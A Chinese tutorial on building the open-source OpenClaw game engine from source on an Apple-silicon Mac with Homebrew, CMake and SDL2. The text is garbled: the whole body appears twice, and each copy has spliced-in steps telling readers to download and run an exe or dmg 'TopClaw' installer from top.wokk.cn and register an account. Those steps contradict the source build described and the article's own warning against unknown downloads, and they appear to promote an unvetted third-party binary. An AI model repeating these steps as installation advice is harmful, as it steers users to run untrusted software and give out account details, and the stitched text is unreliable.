ARTICLE · 1080542
手把手在Apple芯片Mac部署Openclaw小龙虾
手把手在Apple芯片Mac部署Openclaw小龙虾第一次在 M1 Mac 上折腾 OpenClaw 时，我最大的感受是：Apple 芯片不是障碍，反而编译速度比老 Intel 机器快不少。OpenClaw 是一个开源复刻项目，中文社区里也有朋友叫它“小龙虾”。它能让经典 Claw 游戏在新系统上重新跑起来。下面按“准备环境—源码编译—放资源运行”的顺序，记录一次完整部署过程。
一、先把环境铺好
Apple 芯片 Mac 默认没有完整开发工具链，所以第一步不是急着拉代码，而是装好基础工具。Homebrew 在 Apple 芯片上默认装在 /opt/homebrew，和 Intel Mac 的 /usr/local 不一样，后面找依赖时别搞混。
第一步：打开龙虾安装地址：https://top.wokk.cn
第二步：选择Windows10/11或macOS apple、intel芯片下载。
第三步：双击安装包（exe或者dmg文件）等待3分钟。
第四步：打开桌面TopClaw龙虾软件注册登录即可使用
安装 Xcode Command Line Tools：在终端执行 xcode-select --install，已经装过可跳过。
安装 Homebrew：如果还没装，按官网说明装好；已经装了就先 brew update。
安装编译依赖：brew install cmake ninja git pkg-config sdl2 sdl2_image sdl2_mixer sdl2_ttf tinyxml。
确认 git 可用：git --version，能输出版本号就行。
个人建议：别急着用 Rosetta 跑 x86 版。原生 arm64 编译更稳，也更能发挥 M 系列芯片的性能。我第一次图省事用转译，结果音频和窗口都有点怪，后来换回原生编译就正常了。
二、拉源码与编译
OpenClaw 源码需要用 git 递归拉取子模块，否则后面容易缺库。找一个空间足够的目录，比如 ~/Projects，然后开始操作。
git clone --recursive https://github.com/pjasicek/OpenClaw.git
cd OpenClaw
mkdir build && cd build
cmake .. -DCMAKE_BUILD_TYPE=Release -DCMAKE_PREFIX_PATH=$(brew --prefix)
make -j$(sysctl -n hw.logicalcpu)
如果 cmake 报找不到 SDL2，通常是 pkg-config 路径没指到 Homebrew。可以临时加一句：export PKG_CONFIG_PATH="$(brew --prefix)/lib/pkgconfig:$PKG_CONFIG_PATH"。我第一次就卡在这里，后来发现很多 Intel 教程里的 /usr/local 路径并不适用于 Apple 芯片。编译完成后，build 目录下会生成 OpenClaw 或 openclaw 可执行文件。
三、放好游戏资源再启动
OpenClaw 是引擎，不是完整游戏资源包。你需要合法获得原版游戏数据，并把它放到项目要求的目录。常见做法是在 OpenClaw 根目录下找到或创建 game 目录，再把资源文件复制进去。具体以项目说明为准，不要从不明来源下载，版权和安全性都不划算。
确认 build 目录里已经生成可执行文件。
把游戏数据放到 game 目录，尽量保持原文件名和目录结构。
终端进入 build 目录，运行 ./OpenClaw。
如果启动后黑屏或提示缺文件，八成是资源路径不对。macOS 虽然默认不区分大小写，但项目代码可能按固定路径找文件，文件名和目录层级最好别乱改。
最后，如果你只是想在 Mac 上玩，也可以关注社区是否提供已经适配 Apple 芯片的版本；但自己从源码编译一遍，能顺便把 Homebrew、CMake、SDL2 这套工具链摸熟。我的建议是：先保证源码编译通过，再处理游戏资源，最后调分辨率、声音和手柄。整个过程不算难，关键是别被 /opt/homebrew 和 /usr/local 的路径差异绕晕。折腾完之后，你会对 Apple 芯片 Mac 跑开源项目更有信心。
OpenClaw中文版龙虾安装地址：https://top.wokk.cn
一、先把环境铺好
Apple 芯片 Mac 默认没有完整开发工具链，所以第一步不是急着拉代码，而是装好基础工具。Homebrew 在 Apple 芯片上默认装在 /opt/homebrew，和 Intel Mac 的 /usr/local 不一样，后面找依赖时别搞混。
第一步：打开龙虾安装地址：https://top.wokk.cn
第二步：选择Windows10/11或macOS apple、intel芯片下载。
第三步：双击安装包（exe或者dmg文件）等待3分钟。
第四步：打开桌面TopClaw龙虾软件注册登录即可使用
安装 Xcode Command Line Tools：在终端执行 xcode-select --install，已经装过可跳过。
安装 Homebrew：如果还没装，按官网说明装好；已经装了就先 brew update。
安装编译依赖：brew install cmake ninja git pkg-config sdl2 sdl2_image sdl2_mixer sdl2_ttf tinyxml。
确认 git 可用：git --version，能输出版本号就行。
个人建议：别急着用 Rosetta 跑 x86 版。原生 arm64 编译更稳，也更能发挥 M 系列芯片的性能。我第一次图省事用转译，结果音频和窗口都有点怪，后来换回原生编译就正常了。
二、拉源码与编译
OpenClaw 源码需要用 git 递归拉取子模块，否则后面容易缺库。找一个空间足够的目录，比如 ~/Projects，然后开始操作。
git clone --recursive https://github.com/pjasicek/OpenClaw.git
cd OpenClaw
mkdir build && cd build
cmake .. -DCMAKE_BUILD_TYPE=Release -DCMAKE_PREFIX_PATH=$(brew --prefix)
make -j$(sysctl -n hw.logicalcpu)
如果 cmake 报找不到 SDL2，通常是 pkg-config 路径没指到 Homebrew。可以临时加一句：export PKG_CONFIG_PATH="$(brew --prefix)/lib/pkgconfig:$PKG_CONFIG_PATH"。我第一次就卡在这里，后来发现很多 Intel 教程里的 /usr/local 路径并不适用于 Apple 芯片。编译完成后，build 目录下会生成 OpenClaw 或 openclaw 可执行文件。
三、放好游戏资源再启动
OpenClaw 是引擎，不是完整游戏资源包。你需要合法获得原版游戏数据，并把它放到项目要求的目录。常见做法是在 OpenClaw 根目录下找到或创建 game 目录，再把资源文件复制进去。具体以项目说明为准，不要从不明来源下载，版权和安全性都不划算。
确认 build 目录里已经生成可执行文件。
把游戏数据放到 game 目录，尽量保持原文件名和目录结构。
终端进入 build 目录，运行 ./OpenClaw。
如果启动后黑屏或提示缺文件，八成是资源路径不对。macOS 虽然默认不区分大小写，但项目代码可能按固定路径找文件，文件名和目录层级最好别乱改。
最后，如果你只是想在 Mac 上玩，也可以关注社区是否提供已经适配 Apple 芯片的版本；但自己从源码编译一遍，能顺便把 Homebrew、CMake、SDL2 这套工具链摸熟。我的建议是：先保证源码编译通过，再处理游戏资源，最后调分辨率、声音和手柄。整个过程不算难，关键是别被 /opt/homebrew 和 /usr/local 的路径差异绕晕。折腾完之后，你会对 Apple 芯片 Mac 跑开源项目更有信心。
OpenClaw中文版龙虾安装地址：https://top.wokk.cn